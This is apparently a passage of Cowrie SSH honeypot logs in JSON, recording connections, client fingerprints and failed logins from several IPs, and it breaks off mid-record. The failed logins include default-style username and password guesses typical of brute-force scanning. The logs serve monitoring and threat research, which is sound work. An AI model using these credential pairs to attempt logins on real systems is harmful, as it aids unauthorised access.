{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47302,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0e3cf4b6087","protocol":"ssh","message":"New connection: 141.11.88.14:47302 (10.17.0.5:22) [session: e0e3cf4b6087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:31.537459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:31.570263Z","src_ip":"141.11.88.14","session":"e0e3cf4b6087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:31.626869Z","src_ip":"141.11.88.14","session":"e0e3cf4b6087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"j","password":"j","message":"login attempt [j/j] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:31.971426Z","src_ip":"141.11.88.14","session":"e0e3cf4b6087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:33.060705Z","src_ip":"141.11.88.14","session":"e0e3cf4b6087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":34124,"dst_ip":"159.203.135.109","dst_port":22,"session":"764d82cdf3a5","protocol":"ssh","message":"New connection: 160.191.244.158:34124 (159.203.135.109:22) [session: 764d82cdf3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:36.113831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:36.118566Z","src_ip":"160.191.244.158","session":"764d82cdf3a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:36.353091Z","src_ip":"160.191.244.158","session":"764d82cdf3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.224560499191284,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:36.522174Z","src_ip":"128.199.8.54","session":"d9aeb87edfd0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"youraccount","password":"youraccount123","message":"login attempt [youraccount/youraccount123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:37.325780Z","src_ip":"160.191.244.158","session":"764d82cdf3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:38.567088Z","src_ip":"160.191.244.158","session":"764d82cdf3a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":55098,"dst_ip":"10.17.0.5","dst_port":22,"session":"b334888a725a","protocol":"ssh","message":"New connection: 141.11.88.14:55098 (10.17.0.5:22) [session: b334888a725a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:39.266489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:39.326310Z","src_ip":"141.11.88.14","session":"b334888a725a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:39.429823Z","src_ip":"141.11.88.14","session":"b334888a725a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"live","message":"login attempt [user/live] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:39.931013Z","src_ip":"141.11.88.14","session":"b334888a725a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:41.125457Z","src_ip":"141.11.88.14","session":"b334888a725a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":49646,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aaece6acabe","protocol":"ssh","message":"New connection: 103.15.222.183:49646 (159.203.135.109:22) [session: 3aaece6acabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:42.722306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:42.727770Z","src_ip":"103.15.222.183","session":"3aaece6acabe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:42.975509Z","src_ip":"103.15.222.183","session":"3aaece6acabe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"salamat","message":"login attempt [root/salamat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:43.781542Z","src_ip":"103.15.222.183","session":"3aaece6acabe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:45.033502Z","src_ip":"103.15.222.183","session":"3aaece6acabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":55118,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fe5ba0a2417","protocol":"ssh","message":"New connection: 141.11.88.14:55118 (10.17.0.5:22) [session: 9fe5ba0a2417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:45.377545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:45.429806Z","src_ip":"141.11.88.14","session":"9fe5ba0a2417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:45.576791Z","src_ip":"141.11.88.14","session":"9fe5ba0a2417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:46.231099Z","src_ip":"141.11.88.14","session":"9fe5ba0a2417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:47.354000Z","src_ip":"141.11.88.14","session":"9fe5ba0a2417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":37086,"dst_ip":"10.17.0.5","dst_port":22,"session":"70c56b7e9011","protocol":"ssh","message":"New connection: 197.5.145.150:37086 (10.17.0.5:22) [session: 70c56b7e9011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:52.604004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:52.608114Z","src_ip":"197.5.145.150","session":"70c56b7e9011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:52.729951Z","src_ip":"197.5.145.150","session":"70c56b7e9011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lth","password":"123456","message":"login attempt [lth/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:53.250015Z","src_ip":"197.5.145.150","session":"70c56b7e9011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:54.375982Z","src_ip":"197.5.145.150","session":"70c56b7e9011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":21892,"dst_ip":"10.17.0.5","dst_port":22,"session":"de2f590de4bc","protocol":"ssh","message":"New connection: 141.11.88.14:21892 (10.17.0.5:22) [session: de2f590de4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:55.553574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:55.660075Z","src_ip":"141.11.88.14","session":"de2f590de4bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:55.665020Z","src_ip":"141.11.88.14","session":"de2f590de4bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"P@ssw0rd","message":"login attempt [kafka/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:56.051309Z","src_ip":"141.11.88.14","session":"de2f590de4bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:55:57.174192Z","src_ip":"141.11.88.14","session":"de2f590de4bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.171.118","src_port":37078,"dst_ip":"10.17.0.5","dst_port":22,"session":"b134bece3e57","protocol":"ssh","message":"New connection: 47.239.171.118:37078 (10.17.0.5:22) [session: b134bece3e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:03.219668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-russh_0.51.1","message":"Remote SSH version: SSH-2.0-russh_0.51.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:03.225022Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1b8acd46a07d2dc9854db9ec4044c45c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group18-sha512,diffie-hellman-group17-sha512,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1-etm@openssh.com,hmac-sha1;none,zlib,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group18-sha512","diffie-hellman-group17-sha512","diffie-hellman-group16-sha512","diffie-hellman-group15-sha512","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-512-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-256","hmac-sha1-etm@openssh.com","hmac-sha1"],"compCS":["none","zlib","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1b8acd46a07d2dc9854db9ec4044c45c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:03.433292Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":58698,"dst_ip":"10.17.0.5","dst_port":22,"session":"841fdab7be85","protocol":"ssh","message":"New connection: 141.11.88.14:58698 (10.17.0.5:22) [session: 841fdab7be85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:03.910224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:04.301113Z","src_ip":"141.11.88.14","session":"841fdab7be85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hma